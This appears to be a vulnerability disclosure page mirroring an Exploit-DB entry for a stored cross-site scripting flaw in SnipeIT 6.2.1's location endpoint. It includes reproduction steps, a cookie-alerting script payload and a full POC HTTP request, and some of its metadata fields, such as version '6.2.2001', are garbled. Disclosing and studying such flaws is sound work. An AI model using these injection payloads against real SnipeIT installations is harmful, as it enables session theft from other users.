SnipeIT 6.2.1 - Stored Cross Site Scripting

vendor:

SnipeIT

by:

Shahzaib Ali Khan

4.1

CVSS

MEDIUM

Stored Cross Site Scripting

CWE

Product Name: SnipeIT

Affected Version From: 6.2.2001

Affected Version To: 6.2.2001

Patch Exists: NO

Related CWE: CVE-2023-5452

CPE: a:snipeit:snipeit:6.2.1

Metasploit:

Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=145454, https://www.infosecmatter.com/nessus-plugin-library/?id=148581, https://www.infosecmatter.com/nessus-plugin-library/?id=42996

Platforms Tested: Windows 11 22H2, Ubuntu 20.04

2023

SnipeIT 6.2.1 – Stored Cross Site Scripting

SnipeIT version 6.2.1 is prone to a stored cross-site scripting (XSS) vulnerability, which could allow attackers to execute arbitrary JavaScript code. The vulnerability exists in the location endpoint.

Mitigation:

To mitigate this issue, it is recommended to sanitize user inputs and encode special characters before displaying them on the web page.

Source

Exploit-DB raw data:

Exploit Title: SnipeIT 6.2.1 - Stored Cross Site Scripting
Date: 06-Oct-2023
Exploit Author: Shahzaib Ali Khan
Vendor Homepage: https://snipeitapp.com
Software Link: https://github.com/snipe/snipe-it/releases/tag/v6.2.1
Version: 6.2.1
Tested on: Windows 11 22H2 and Ubuntu 20.04
CVE: CVE-2023-5452

Description: SnipeIT 6.2.1 is affected by a stored cross-site scripting
(XSS) feature that allows attackers to execute JavaScript commands. The
location endpoint was vulnerable.

Steps to Reproduce:

1. Login as a standard user [non-admin] > Asset page > List All
2. Click to open any asset > Edit Asset
3. Create new location and add the payload:
<script>alert(document.cookie)</script>
4. Now login to any other non-admin or admin > Asset page > List All
5. Open the same asset of which you can change the location and the payload
will get executed.

POC Request:

POST /api/v1/locations HTTP/1.1
Host: localhost
Content-Length: 118
Accept: */*
X-CSRF-TOKEN: CDJkvGNWzFKFueeNx0AQMJIhhXJGZmKG1SFeVEGV
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Referer: http://localhost/hardware/196/edit
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: snipeit_session=AHw3ARN6pdg90xU4ovG1FBZywycKPLIxjTUfmELO;
assetsListingTable.bs.table.cardView=false; laravel_token=
eyJpdiI6IitpM1RXVEVEVGNLZzRTd28wYmhZblE9PSIsInZhbHVlIjoickJocmNYTzNOS3JYdkdhSmpJME1GRmJYMi9DUnVkaStDTzBnbHZDVG1xNVAvbTA5cjJHM1FTbi95SEVzNmNnNzdKNHY5em5pK3
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XSRF-TOKEN=
eyJpdiI6IjNmMVpNUEpDNCtpV0pHKOczZDRSUmc9PSIsInZhbHVlIjoiWXYvZkY2bTk4MONsUUFZQjZiVWtPdm1JRE1WWmpBd2tsZWNJblgxZWg3dONYL2x0Zkxib3N5Y1N5YmRYVm1XUm91N3pES1F1bH
FWMEV1Y2xsZ1VqZ1FYdmdYcjJRZXZMZG9NYmpWY2htL2tPdXNBQUdEbjVHSEVjV2tzKOpYelEiLCJtYWMi0iI1YzhkNmQ2NDAxNmZkYTQ1NzVhZmI5OGY3ODA3MDkOOTc4ZWVhYmMiZWIYMjZhZGZiZWI5
MjMOMGJjZDBkNzU4IiwidGFnIjoiIn0%3D
Connection: close

name=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&city=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&country=



Thanks,
Shahzaib Ali Khan